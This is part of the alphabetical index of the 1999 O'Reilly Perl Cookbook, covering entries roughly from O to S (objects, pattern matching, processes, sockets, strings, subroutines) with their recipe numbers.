converting binary with decimal : 2.4. Converting Between Binary and Decimal
converting with ASCII characters : 1.4. Converting Between ASCII Characters and Values
decimal places, controlling : 13.14. Overloading Operators
floating-point : 2.0. Introduction
comparing : 2.2. Comparing Floating-Point Numbers
rounding : 2.3. Rounding Floating-Point Numbers
logarithms : 2.13. Taking Logarithms
matrix multiplication : 2.14. Multiplying Matrices
octal and hexadecimal : 2.16. Converting Between Octal and Hexadecimal
operating on integer series : 2.5. Operating on a Series of Integers
plural words based on : 2.18. Printing Correct Plurals
primes, calculating : 2.19. Program: Calculating Prime Factors
random
2.0. Introduction
2.7. Generating Random Numbers
biasing : 2.10. Generating Biased Random Numbers
roman numerals : 2.6. Working with Roman Numerals
strings as valid numbers : 2.1. Checking Whether a String Is a Valid Number
trigonometry : 2.11. Doing Trigonometry in Degrees, not Radians

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

/o pattern-matching modifier : 6.10. Speeding Up Interpolated Matches
O_ flags : 7.1. Opening a File
O_NONBLOCK option : 7.14. Doing Non-Blocking I/O
object attributes
13.0. Introduction
13.3. Managing Instance Data
inheritance and : 13.12. Solving the Data Inheritance Problem
object methods : 13.0. Introduction
object-oriented programming : 13.0. Introduction
objects : 13.0. Introduction
cloning parent objects : 13.6. Cloning Objects
closures as : 11.7. Using Closures Instead of Objects
constructing
13.0. Introduction
13.1. Constructing an Object
destroying
13.0. Introduction
13.2. Destroying an Object
determining subclass membership : 13.8. Determining Subclass Membership
managing instance data : 13.3. Managing Instance Data
tied objects : 13.15. Creating Magic Variables with tie
oct(�) : 2.16. Converting Between Octal and Hexadecimal
octal numbers : 2.16. Converting Between Octal and Hexadecimal
open(�)
(see also processes)
7.0. Introduction
7.1. Opening a File
16.10. Communicating Between Related Processes
caching open filehandles : 7.17. Caching Open Output Filehandles
filtering output : 16.5. Filtering Your Own Output
reading from other programs : 16.4. Reading or Writing to Another Program
strange filenames with : 7.2. Opening Files with Unusual Filenames
open, magic : (see magic open)
opendir(�)
9.0. Introduction
9.5. Processing All Files in a Directory
globbing filenames : 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
opening file descriptors : 7.19. Opening and Closing File Descriptors by Number
opening files : 7.1. Opening a File
operators, overloading : 13.14. Overloading Operators
OR functionality in regular expressions : 6.17. Expressing AND, OR, and NOT in a Single Pattern
or operator vs. || operator : 1.2. Establishing a Default Value
ord(�) : 1.4. Converting Between ASCII Characters and Values
oreobounce program (example) : 19.8. Redirecting to a Different Location
os_snipe program (example) : 19.8. Redirecting to a Different Location
output
controlling decimal places : 13.14. Overloading Operators
controlling for other programs : 16.8. Controlling Input and Output of Another Program
filtering : 16.5. Filtering Your Own Output
flushing : 7.12. Flushing Output
gathering from programs : 16.1. Gathering Output from a Program
random access I/O : 8.12. Using Random-Access I/O
writing to other programs : 16.4. Reading or Writing to Another Program
output(�) : 5.16. Program: dutree
overloading operators : 13.14. Overloading Operators
overriding
built-in functions : 12.11. Overriding Built-In Functions
methods : 13.10. Accessing Overridden Methods
signal handlers : 16.16. Temporarily Overriding a Signal Handler

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

-p command-line option : 7.7. Writing a Filter
modifying files with : 7.9. Modifying a File in Place with -i Switch
pack(�)
1.4. Converting Between ASCII Characters and Values
8.13. Updating a Random-Access File
converting binary and decimal numbers : 2.4. Converting Between Binary and Decimal
with Tk resize events : 15.16. Responding to Tk Resize Events
package statement : 12.0. Introduction
__PACKAGE__ symbol
10.4. Determining Current Function Name
12.5. Determining the Caller's Package
packages
(see also modules)
12.0. Introduction
12.19. Program: Finding Versions and Descriptions of Installed Modules
determining current/calling : 12.5. Determining the Caller's Package
overriding built-in functions : 12.11. Overriding Built-In Functions
private variables and functions : 12.4. Making Variables Private to a Module
referring to indirectly : 12.13. Referring to Packages Indirectly
paragraphs
counting in files : 8.2. Counting Lines (or Paragraphs or Records) in a File
in pod documentation : 12.16. Documenting Your Module with Pod
reading files backwards by : 8.4. Reading a File Backwards by Line or Paragraph
reformatting : 1.12. Reformatting Paragraphs
paragrep program (example) : 6.11. Testing for a Valid Pattern
parameterized HTML : 20.9. Creating HTML Templates
parent classes
accessing overridden methods : 13.10. Accessing Overridden Methods
cloning objects : 13.6. Cloning Objects
inheritance and : 13.12. Solving the Data Inheritance Problem
parse_csv subroutines : 1.15. Parsing Comma-Separated Data
ParseDate(�)
3.7. Parsing Dates and Times from Strings
3.11. Program: hopdelta
parsing
comma-separated data : 1.15. Parsing Comma-Separated Data
command-line arguments : 15.1. Parsing Program Arguments
commas into numbers : 2.17. Putting Commas in Numbers
datetime from strings : 3.7. Parsing Dates and Times from Strings
filenames : 9.10. Splitting a Filename into Its Component Parts
HTML tags : 20.6. Extracting or Removing HTML Tags
web server log file : 20.12. Parsing a Web Server Log File
partial URLs : 19.0. Introduction
passing by named parameter : 10.7. Passing by Named Parameter
passing by reference : 10.5. Passing Arrays and Hashes by Reference
passwords
randomly generating : 2.7. Generating Random Numbers
reading without echo : 15.10. Reading Passwords
paths : 19.0. Introduction
pattern matching
(see also regular expressions)
1.16. Soundex Matching
6.0. Introduction
abbreviations : 6.20. Matching Abbreviations
across multiple lines : 6.6. Matching Multiple Lines
backtracking : 6.0. Introduction
copying and substituting : 6.1. Copying and Substituting Simultaneously
duplicate words : 6.16. Detecting Duplicate Words
eager : 6.0. Introduction
email addresses : 6.19. Matching a Valid Mail Address
extracting ranges of lines : 6.8. Extracting a Range of Lines
filenames : 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
fuzzy matching : 6.13. Approximate Matching
greedy vs. non-greedy
6.0. Introduction
6.15. Greedy and Non-Greedy Matches
history.db file : 14.11. Program: ggh - Grep Netscape Global History
honoring locale settings : 6.12. Honoring Locale Settings in Regular Expressions
logical functionality in : 6.17. Expressing AND, OR, and NOT in a Single Pattern
matching letters : 6.2. Matching Letters
matching words : 6.3. Matching Words
modifiers for : 6.0. Introduction
multiple-byte charactrs : 6.18. Matching Multiple-Byte Characters
Nth matches : 6.5. Finding the Nth Occurrence of a Match
shell wildcards for : 6.9. Matching Shell Globs as Regular Expressions
tcgrep program : 6.22. Program: tcgrep
testing for invalid patterns : 6.11. Testing for a Valid Pattern
urlify program : 6.21. Program: urlify
useful and interesting patterns (list) : 6.23. Regular Expression Grabbag
using /o modifier : 6.10. Speeding Up Interpolated Matches
where last pattern ended : 6.14. Matching from Where the Last Pattern Left Off
pattern separators, reading data with : 6.7. Reading Records with a Pattern Separator
pattern-matching
progressive (with /g) : 6.5. Finding the Nth Occurrence of a Match
PDL modules
matrix multiplication : 2.14. Multiplying Matrices
periods (.) in numbers : 2.17. Putting Commas in Numbers
Perl
programming conventions : Conventions Used in This Book
references on : Other Books
release notes : Platform Notes
$PERL5LIB environment variable : 12.7. Keeping Your Own Module Directory
perldoc program : 12.16. Documenting Your Module with Pod
perlmenu module : 15.12. Managing the Screen
permissions, testing files for trustworthiness : 8.17. Testing a File for Trustworthiness
permutations, generating all possible : 4.19. Program: permute
permute program : 4.19. Program: permute
persistent
data structures : 11.14. Transparently Persistent Data Structures
database data : 14.9. Persistent Data
subroutine variables : 10.3. Creating Persistent Private Variables
PF_ constants : 17.0. Introduction
.ph filename extension : 12.14. Using h2ph to Translate C #include Files
pinging machines : 18.7. Pinging a Machine
pipe(�)
16.0. Introduction
16.10. Communicating Between Related Processes
pipe1 program (example) : 16.10. Communicating Between Related Processes
pipe2 program (example) : 16.10. Communicating Between Related Processes
pipe3 program (example) : 16.10. Communicating Between Related Processes
pipe4 program (example) : 16.10. Communicating Between Related Processes
pipe5 program (example) : 16.10. Communicating Between Related Processes
pipe6 program (example) : 16.10. Communicating Between Related Processes
places(�) : 13.14. Overloading Operators
pluralizing words : 2.18. Printing Correct Plurals
.pm filename extension : 12.0. Introduction
pmdesc program (example) : 12.19. Program: Finding Versions and Descriptions of Installed Modules
pod documentation : 12.16. Documenting Your Module with Pod
sorting =head1 sections : 15.19. Program: tkshufflepod
pod2html, pod2text tools : 12.16. Documenting Your Module with Pod
pop(�)
circular lists : 4.16. Implementing a Circular List
on multiple array elements : 4.11. Processing Multiple Elements of an Array
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
POP3 servers : 18.5. Reading Mail with POP3
popgrep1 program (example) : 6.10. Speeding Up Interpolated Matches
popgrep2 program (example) : 6.10. Speeding Up Interpolated Matches
popgrep3 program (example) : 6.10. Speeding Up Interpolated Matches
popgrep4 program (example) : 6.10. Speeding Up Interpolated Matches
port connection attempts, logging : 17.17. Program: backsniff
pos(�) : 6.14. Matching from Where the Last Pattern Left Off
POSIX module
blocking signals : 16.20. Blocking Signals
floor(�) and ceil(�) : 2.3. Rounding Floating-Point Numbers
trigonometric functions : 2.12. Calculating More Trigonometric Functions
POSIX termios interface : 15.8. Using POSIX termios
POSIX::setsid function : 17.15. Making a Daemon Server
POST method
19.0. Introduction
19.1. Writing a CGI Script
20.2. Automating Form Submission
posting Usenet messages : 18.4. Reading and Posting Usenet News Messages
pragmas : 12.0. Introduction
pre-forking servers : 17.12. Pre-Forking Servers
preallocating memory for hashes : 5.13. Presizing a Hash
precision, controlling in output : 13.14. Overloading Operators
preforker program (example) : 17.12. Pre-Forking Servers
prime numbers, calculating : 2.19. Program: Calculating Prime Factors
prime_pattern program (example) : 6.16. Detecting Duplicate Words
print(�) : 17.0. Introduction
print_line program (example) : 8.8. Reading a Particular Line in a File
printf(�)
%c format : 1.4. Converting Between ASCII Characters and Values
rounding floating-point numbers : 2.3. Rounding Floating-Point Numbers
printing
data structures : 11.11. Printing Data Structures
datetime information : 3.8. Printing a Date
hashes : 5.5. Printing a Hash
lists with commas : 4.2. Printing a List with Commas
simultaneously to multiple filehandles : 7.18. Printing to Many Filehandles Simultaneously
specific lines from files : 7.0. Introduction
private
methods : 13.0. Introduction
module variables and functions : 12.4. Making Variables Private to a Module
subroutine variables : 10.2. Making Variables Private to a Function
processes : 16.0. Introduction
catching Ctrl-C : 16.18. Catching Ctrl-C
communicating between : 16.10. Communicating Between Related Processes
controlling program input/output : 16.8. Controlling Input and Output of Another Program
creating : 16.0. Introduction
filtering output : 16.5. Filtering Your Own Output
gathering program output : 16.1. Gathering Output from a Program
groups
7.22. Program: lockarea
16.14. Sending a Signal
imitating files with named pipes : 16.11. Making a Process Look Like a File with Named Pipes
preprocessing input : 16.6. Preprocessing Input
reading from/writing to programs : 16.4. Reading or Writing to Another Program
reading STDERR from programs : 16.7. Reading STDERR from a Program
replacing programs : 16.3. Replacing the Current Program with a Different One
running multiple programs : 16.2. Running Another Program
sharing variables among : 16.12. Sharing Variables in Different Processes
signals : 16.0. Introduction
blocking : 16.20. Blocking Signals
handlers for : 16.15. Installing a Signal Handler
listing available : 16.13. Listing Available Signals
sending : 16.14. Sending a Signal
timing out operations : 16.21. Timing Out an Operation
zombies
16.0. Introduction
16.19. Avoiding Zombie Processes
programs
command-line arguments, parsing : 15.1. Parsing Program Arguments
controlling input/output of : 16.8. Controlling Input and Output of Another Program
controlling with Expect : 15.13. Controlling Another Program with Expect
filtering output : 16.5. Filtering Your Own Output
gathering output from : 16.1. Gathering Output from a Program
interface : (see user interfaces)
preprocessing input : 16.6. Preprocessing Input
reading from/writing to : 16.4. Reading or Writing to Another Program
reading STDERR from : 16.7. Reading STDERR from a Program
replacing : 16.3. Replacing the Current Program with a Different One
running multiple : 16.2. Running Another Program
simulating telnet from : 18.6. Simulating Telnet from a Program
testing if running interactively : 15.2. Testing Whether a Program Is Running Interactively
programs, CGI : (see CGI programming)
progressive matching : 6.5. Finding the Nth Occurrence of a Match
protocols for Internet : 18.0. Introduction
protocols, socket : 17.0. Introduction
prototypes
10.11. Prototyping Functions
13.0. Introduction
proxy, submitting forms through : 20.2. Automating Form Submission
pseudo-random numbers : (see random, numbers)
psgrep program (example) : 1.18. Program: psgrep
public methods : 13.0. Introduction
push(�)
4.9. Appending One Array to Another
11.2. Making Hashes of Arrays
circular lists : 4.16. Implementing a Circular List
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

\Q string metacharacter : 1.13. Escaping Characters
q(�) : 4.1. Specifying a List In Your Program
q// and qq// operators : 1.0. Introduction
qq(�) : 4.1. Specifying a List In Your Program
qr// operator : 6.10. Speeding Up Interpolated Matches
query_form(�) : 20.2. Automating Form Submission
quotemeta(�) : 1.13. Escaping Characters
quotes, double (") : 1.0. Introduction
qq(�) : 4.1. Specifying a List In Your Program
quotes, single (') : 1.0. Introduction
q(�) : 4.1. Specifying a List In Your Program
quotewords(�) : 1.15. Parsing Comma-Separated Data
qw(�) : 4.1. Specifying a List In Your Program
qx(�) : 4.1. Specifying a List In Your Program

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

race conditions : 19.4. Writing a Safe CGI Program
rad2deg(�) (example) : 2.11. Doing Trigonometry in Degrees, not Radians
radians vs. degrees : 2.11. Doing Trigonometry in Degrees, not Radians
radiobuttons : 15.14. Creating Menus with Tk
rand(�)
2.7. Generating Random Numbers
8.6. Picking a Random Line from a File
randcap program (example) : 1.9. Controlling Case
random
email signatures : 16.22. Program: sigrand
lines from files : 8.6. Picking a Random Line from a File
numbers
2.0. Introduction
2.7. Generating Random Numbers
biasing : 2.10. Generating Biased Random Numbers
ordering of lines in files : 8.7. Randomizing All Lines
random-access I/O : 8.12. Using Random-Access I/O
randomizing arrays : 4.17. Randomizing an Array
range (.. and ...) operators : 6.8. Extracting a Range of Lines
read(�)
8.0. Introduction
8.15. Reading Fixed-Length Records
readdir(�)
9.0. Introduction
9.5. Processing All Files in a Directory
reading email : (see email)
reading files : (see file access; file contents)
reading input : (see input)
reading Usenet news : 18.4. Reading and Posting Usenet News Messages
Received: header line : 3.11. Program: hopdelta
recno_demo program (example) : 14.7. Treating a Text File as a Database Array
records : 11.0. Introduction
binary tree structures : 11.15. Program: Binary Trees
closures as objects : 11.7. Using Closures Instead of Objects
comma-separated : (see CSV)
constructing : 11.9. Constructing Records
counting in files : 8.2. Counting Lines (or Paragraphs or Records) in a File
fixed-length
8.0. Introduction
8.15. Reading Fixed-Length Records
lastlog file : 8.20. Program: laston
with pattern separators, reading : 6.7. Reading Records with a Pattern Separator
random-access I/O : 8.12. Using Random-Access I/O
reading/writing to text files : 11.10. Reading and Writing Hash Records to Text Files
variable-length : 8.9. Processing Variable-Length Text Fields
wtmp file : 8.18. Program: tailwtmp
recursively processing files in directories : 9.7. Processing All Files in a Directory Recursively
redirect(�) : 19.8. Redirecting to a Different Location
redirecting
CGI error messages : 19.2. Redirecting Error Messages
CGI requests : 19.8. Redirecting to a Different Location
ref(�)
11.0. Introduction
13.0. Introduction
references : 11.0. Introduction
to arrays : 11.1. Taking References to Arrays
arrays of scalar references : 11.6. Creating Arrays of Scalar References
as hash keys : 13.15. Creating Magic Variables with tie
autovivification : 11.0. Introduction
closures as objects : 11.7. Using Closures Instead of Objects
to functions : 11.4. Taking References to Functions
as hash values : 5.12. Hashing References
to hashes : 11.3. Taking References to Hashes
hashes of arrays : 11.2. Making Hashes of Arrays
iterating over arrays by : 4.5. Iterating Over an Array by Reference
to methods : 11.8. Creating References to Methods
to packages, indirect : 12.13. Referring to Packages Indirectly
passing by : 10.5. Passing Arrays and Hashes by Reference
reference count : 11.0. Introduction
returning by : 10.9. Returning More Than One Array or Hash
to scalars : 11.5. Taking References to Scalars
self-referential structures : 13.13. Coping with Circular Data Structures
symbolic
1.8. Expanding Variables in User Input
12.13. Referring to Packages Indirectly
referents : 11.0. Introduction
"referrer" vs. "referer" : 20.1. Fetching a URL from a Perl Script
regular expressions
(see also pattern matching)
1.16. Soundex Matching
checking if strings are valid numbers : 2.1. Checking Whether a String Is a Valid Number
commenting : 6.4. Commenting Regular Expressions
fuzzy matching : 6.13. Approximate Matching
honoring locale settings : 6.12. Honoring Locale Settings in Regular Expressions
multiple-byte matching : 6.18. Matching Multiple-Byte Characters
tcgrep program : 6.22. Program: tcgrep
testing for invalid patterns : 6.11. Testing for a Valid Pattern
urlify program : 6.21. Program: urlify
useful and interesting (list) : 6.23. Regular Expression Grabbag
removing HTML tags : 20.6. Extracting or Removing HTML Tags
rename script (example) : 9.9. Renaming Files
renaming files : 9.9. Renaming Files
rep program (example) : 15.12. Managing the Screen
reporting errors : (see errors; warnings)
require statement : 12.0. Introduction
trapping errors in : 12.2. Trapping Errors in require or use
resizing : (see size)
restarting servers on demand : 17.16. Restarting a Server on Demand
retrieve(�) (Storable module) : 11.13. Storing Data Structures to Disk
retrieving URLs : 20.1. Fetching a URL from a Perl Script
return context, subroutines : 10.6. Detecting Return Context
return statement : 10.10. Returning Failure
return values of subroutines
returning by reference : 10.9. Returning More Than One Array or Hash
returning failure : 10.10. Returning Failure
skipping selected : 10.8. Skipping Selected Return Values
reverse(�)
1.6. Reversing a String by Word or Character
4.10. Reversing an Array
inverting hashes : 5.8. Inverting a Hash
reversing
array elements : 4.10. Reversing an Array
words/characters in strings : 1.6. Reversing a String by Word or Character
revhash_demo program (example) : 13.15. Creating Magic Variables with tie
rewinddir(�) : 9.5. Processing All Files in a Directory
rmdir(�) : 9.8. Removing a Directory and Its Contents
rmtree program (example) : 9.8. Removing a Directory and Its Contents
robots for web traversal : 20.11. Creating a Robot
Roman module : 2.6. Working with Roman Numerals
roman numerals : 2.6. Working with Roman Numerals
roman(�) (Roman module) : 2.6. Working with Roman Numerals
root directory (/) : 9.0. Introduction
rounding floating-point numbers : 2.3. Rounding Floating-Point Numbers
run time, loading modules at : 12.3. Delaying use Until Run Time
run-time scoping : 10.13. Saving Global Values

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

/s pattern-matching modifier : 6.0. Introduction
matching multiple lines : 6.6. Matching Multiple Lines
\s substitution modifier : 1.11. Indenting Here Documents
s/// operator
~ operator with : 1.1. Accessing Substrings
stripping whitespace with : 1.11. Indenting Here Documents
sascii program (example) : 15.6. Reading from the Keyboard
save_parameters(�) : 19.13. Saving a Form to a File or Mail Pipe
scalars : 1.0. Introduction
arrays of scalar references : 11.6. Creating Arrays of Scalar References
detecting scalar context : 10.6. Detecting Return Context
exchanging values between : 1.3. Exchanging Values Without Using Temporary Variables
references to : 11.5. Taking References to Scalars
schemes (URLs) : 19.0. Introduction
Schwartz, Randal : 4.15. Sorting a List by Computable Field
scope of subroutine variables : 10.2. Making Variables Private to a Function
screen : (see user interfaces)
scripts, CGI : (see CGI programming)
SDBM library : 14.0. Introduction
searching for patterns : (see pattern matching; regular expressions)
seconds : (see date and time)
security
CGI scripts
19.0. Introduction
19.4. Writing a Safe CGI Program
executing user commands : 19.6. Executing Commands Without Shell Escapes
connecting through firewalls : 17.18. Program: fwdport
reading passwords without echo : 15.10. Reading Passwords
testing files for trustworthiness : 8.17. Testing a File for Trustworthiness
seek(�)
8.0. Introduction
8.5. Trailing a Growing File
seekdir(�) : 9.5. Processing All Files in a Directory
seeme program (example) : 7.12. Flushing Output
select(�)
3.10. Short Sleeps
17.3. Communicating over TCP
changing STDOUT : 7.0. Introduction
reading from multiple filehandles
7.13. Reading from Many Filehandles Without Blocking
17.3. Communicating over TCP
self-referential data structures : 13.13. Coping with Circular Data Structures
SelfLoader module : 12.9. Speeding Module Loading with SelfLoader
separators, menu : 15.14. Creating Menus with Tk
servers
daemon servers : 17.15. Making a Daemon Server
forking : 17.11. Forking Servers
multi-homed : 17.14. Writing a Multi-Homed Server
non-forking : 17.13. Non-Forking Servers
POP3 : 18.5. Reading Mail with POP3
pre-forking : 17.12. Pre-Forking Servers
restarting on demand : 17.16. Restarting a Server on Demand
TCP : 17.2. Writing a TCP Server
UDP : 17.5. Setting Up a UDP Server
set theory : 4.7. Finding Elements in One Array but Not Another
setsockopt(�) : 17.13. Non-Forking Servers
setting up : (see initializing)
shallow copies : 11.12. Copying Data Structures
shared locks : 7.11. Locking a File
sharetest program (example) : 16.12. Sharing Variables in Different Processes
sharing variables among processes : 16.12. Sharing Variables in Different Processes
shell escapes, executing commands without : 19.6. Executing Commands Without Shell Escapes
shell wildcards for regexp matching : 6.9. Matching Shell Globs as Regular Expressions
shift(�)
circular lists : 4.16. Implementing a Circular List
on multiple array elements : 4.11. Processing Multiple Elements of an Array
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
shopping cart : 19.12. Writing a Multiscreen CGI Script
shuffling
(see also random)
8.7. Randomizing All Lines
array elements : 4.17. Randomizing an Array
file line order : 8.7. Randomizing All Lines
shutdown(�) : 17.9. Closing a Socket After Forking
%SIG hash : 16.15. Installing a Signal Handler
SIGALRM signal
16.0. Introduction
16.21. Timing Out an Operation
SIGCHLD signal
16.0. Introduction
16.19. Avoiding Zombie Processes
SIGHUP signal
16.0. Introduction
17.16. Restarting a Server on Demand
SIGINT signal
16.0. Introduction
16.18. Catching Ctrl-C
signals : 16.0. Introduction
blocking : 16.20. Blocking Signals
handlers for : 16.15. Installing a Signal Handler
listing available : 16.13. Listing Available Signals
process groups
7.22. Program: lockarea
16.14. Sending a Signal
sending : 16.14. Sending a Signal
signatures, randomized : 16.22. Program: sigrand
SIGPIPE signal
16.0. Introduction
16.4. Reading or Writing to Another Program
sigprocmask system call : 16.20. Blocking Signals
SIGQUIT signal : 16.0. Introduction
sigrand program (example) : 16.22. Program: sigrand
SIGTERM signal : 16.0. Introduction
SIGUSR1, SIGUSR2 signals : 16.0. Introduction
sin(�) : 2.12. Calculating More Trigonometric Functions
single inheritance : 13.0. Introduction
single quotes (') : 1.0. Introduction
q(�) : 4.1. Specifying a List In Your Program
size
arrays, changing : 4.3. Changing Array Size
hashes, preallocating for : 5.13. Presizing a Hash
Tk window resize events : 15.16. Responding to Tk Resize Events
window/terminal, determining : 15.4. Determining Terminal or Window Size
sleeps : 3.10. Short Sleeps
slowcat program (example) : 1.5. Processing a String One Character at a Time
SOCK_ constants : 17.0. Introduction
sockaddr_in(�)
17.0. Introduction
17.4. Setting Up a UDP Client
sockaddr_un(�) : 17.0. Introduction
socket(�) : 17.0. Introduction
sockets : 17.0. Introduction
bidirectional clients : 17.10. Writing Bidirectional Clients
closing after forking : 17.9. Closing a Socket After Forking
connecting through firewalls : 17.18. Program: fwdport
daemon servers : 17.15. Making a Daemon Server
finding own name/address : 17.8. Finding Your Own Name and Address
forking servers : 17.11. Forking Servers
identifying machine at end : 17.7. Identifying the Other End of a Socket
logging port connection attempts : 17.17. Program: backsniff
multi-homed servers : 17.14. Writing a Multi-Homed Server
non-blocking : 17.2. Writing a TCP Server
non-forking servers : 17.13. Non-Forking Servers
pre-forking servers : 17.12. Pre-Forking Servers
restarting servers on demand : 17.16. Restarting a Server on Demand
TCP protocol
communicating over : 17.3. Communicating over TCP
writing clients : 17.1. Writing a TCP Client
writing servers : 17.2. Writing a TCP Server
UDP protocol
writing clients : 17.4. Setting Up a UDP Client
writing servers : 17.5. Setting Up a UDP Server
Unix domain
17.0. Introduction
17.6. Using UNIX Domain Sockets
soft links : (see symbolic links)
sort(�)
4.14. Sorting an Array Numerically
5.9. Sorting a Hash
sortdemo program (example) : 14.6. Sorting Large DBM Files
sorting
array elements : 4.14. Sorting an Array Numerically
DBM files : 14.6. Sorting Large DBM Files
directory contents
9.0. Introduction
9.12. Program: lst
du command output : 5.16. Program: dutree
hash elements : 5.9. Sorting a Hash
mail (example subroutine) : 10.17. Program: Sorting Your Mail
pod =head1 sections : 15.19. Program: tkshufflepod
randomizing array element order : 4.17. Randomizing an Array
randomizing file line order : 8.7. Randomizing All Lines
text into columns : 4.18. Program: words
Soundex matching : 1.16. Soundex Matching
spaces : (see whitespace)
specific classes : 13.0. Introduction
spider (robot) : 20.11. Creating a Robot
splice(�) : 4.11. Processing Multiple Elements of an Array
Tie::IxHash module and : 5.6. Retrieving from a Hash in Insertion Order
split(�)
1.5. Processing a String One Character at a Time
8.3. Processing Every Word in a File
8.9. Processing Variable-Length Text Fields
reading records with pattern separators : 6.7. Reading Records with a Pattern Separator
sprintf(�)
%c format : 1.4. Converting Between ASCII Characters and Values
comparing floating-point numbers : 2.2. Comparing Floating-Point Numbers
rounding floating-point numbers : 2.3. Rounding Floating-Point Numbers
SQL database : 20.9. Creating HTML Templates
SQL queries
14.10. Executing an SQL Command Using DBI and DBD
19.7. Formatting Lists and Tables with HTML Shortcuts
srand(�) : 2.8. Generating Different Random Numbers
stale hyperlinks, finding : 20.7. Finding Stale Links
standard filehandles : 7.0. Introduction
stat(�)
8.17. Testing a File for Trustworthiness
9.0. Introduction
9.1. Getting and Setting Timestamps
static data members
13.0. Introduction
13.4. Managing Class Data
static scoping : 10.13. Saving Global Values
STDERR filehandle : 7.0. Introduction
controlling for other programs : 16.9. Controlling the Input, Output, and Error of Another Program
reading from programs : 16.7. Reading STDERR from a Program
STDIN filehandle : 7.0. Introduction
preprocessing input : 16.6. Preprocessing Input
testing for interactivity : 15.2. Testing Whether a Program Is Running Interactively
stdio library : 7.0. Introduction
STDOUT filehandle : 7.0. Introduction
filtering output : 16.5. Filtering Your Own Output
testing for interactivity : 15.2. Testing Whether a Program Is Running Interactively
sticky widgets : 19.11. Creating Sticky Widgets
stingy matching : (see non-greedy pattern matching)
Storable module : 11.12. Copying Data Structures
STORE(�) : 13.15. Creating Magic Variables with tie
store(�) (Storable module) : 11.13. Storing Data Structures to Disk
stream sockets
17.0. Introduction
17.11. Forking Servers
strftime(�) : 3.8. Printing a Date
String::Approx module : 6.13. Approximate Matching
strings
(see also variables)
1.0. Introduction
1.8. Expanding Variables in User Input
accessing substrings : 1.1. Accessing Substrings
checking if valid numbers : 2.1. Checking Whether a String Is a Valid Number
converting ASCII and values : 1.4. Converting Between ASCII Characters and Values
converting ASCII to/from HTML : 20.4. Converting ASCII to HTML
converting case : 1.9. Controlling Case
copying and substituting : 6.1. Copying and Substituting Simultaneously
default values for : 1.2. Establishing a Default Value
duplicate words, finding : 6.16. Detecting Duplicate Words
escaping characters : 1.13. Escaping Characters
hash element indices : 5.0. Introduction
HTML text substitutions : 20.14. Program: htmlsub
interpolating functions/expression within : 1.10. Interpolating Functions and Expressions Within Strings
matching letters : 6.2. Matching Letters
matching words : 6.3. Matching Words
numeric operators with : 13.14. Overloading Operators
parsing datetime information in : 3.7. Parsing Dates and Times from Strings
plurals based on numbers : 2.18. Printing Correct Plurals
processing characters individually : 1.5. Processing a String One Character at a Time
psgrep program (example) : 1.18. Program: psgrep
reading from binary files : 8.14. Reading a String from a Binary File
reformatting paragraphs : 1.12. Reformatting Paragraphs
removing leading/trailing spaces : 1.14. Trimming Blanks from the Ends of a String
removing/extracting HTML tags : 20.6. Extracting or Removing HTML Tags
reversing elements of : 1.6. Reversing a String by Word or Character
substituting specific words : 1.17. Program: fixstyle
text color, changing : 15.5. Changing Text Color
strings program (example) : 8.14. Reading a String from a Binary File
stripping whitespace : 1.14. Trimming Blanks from the Ends of a String
StrNum class (example) : 13.14. Overloading Operators
struct(�) (Class::Struct) : 13.5. Using Classes as Structs
struct_flock(�) (lockarea) : 7.22. Program: lockarea
structs, classes as : 13.5. Using Classes as Structs
sub keyword : 10.0. Introduction
subclasses : 13.0. Introduction
determining membership : 13.8. Determining Subclass Membership
inheritance and : 13.12. Solving the Data Inheritance Problem
subject, sorting mail by (example) : 10.17. Program: Sorting Your Mail
submitting HTML forms : 20.2. Automating Form Submission
subroutines : 10.0. Introduction
access arguments of : 10.1. Accessing Subroutine Arguments
built-in, overriding : 12.11. Overriding Built-In Functions
currently running, name of : 10.4. Determining Current Function Name
email sorter (example) : 10.17. Program: Sorting Your Mail
exception handling : 10.12. Handling Exceptions
localizing : 10.14. Redefining a Function
nesting : 10.16. Nesting Subroutines
passing by named parameter : 10.7. Passing by Named Parameter
passing by reference : 10.5. Passing Arrays and Hashes by Reference
private for modules : 12.4. Making Variables Private to a Module
private variables : 10.2. Making Variables Private to a Function
prototypes for functions : 10.11. Prototyping Functions
return context, detecting : 10.6. Detecting Return Context
return values
returning by reference : 10.9. Returning More Than One Array or Hash
returning failure : 10.10. Returning Failure
skipping selected : 10.8. Skipping Selected Return Values
saving global values : 10.13. Saving Global Values
trapping undefined function calls : 10.15. Trapping Undefined Function Calls with AUTOLOAD
substituting within strings : 6.1. Copying and Substituting Simultaneously
substr(�) : 1.1. Accessing Substrings
substrings : 1.1. Accessing Substrings
SUPER class : 13.10. Accessing Overridden Methods
superclasses : 13.0. Introduction
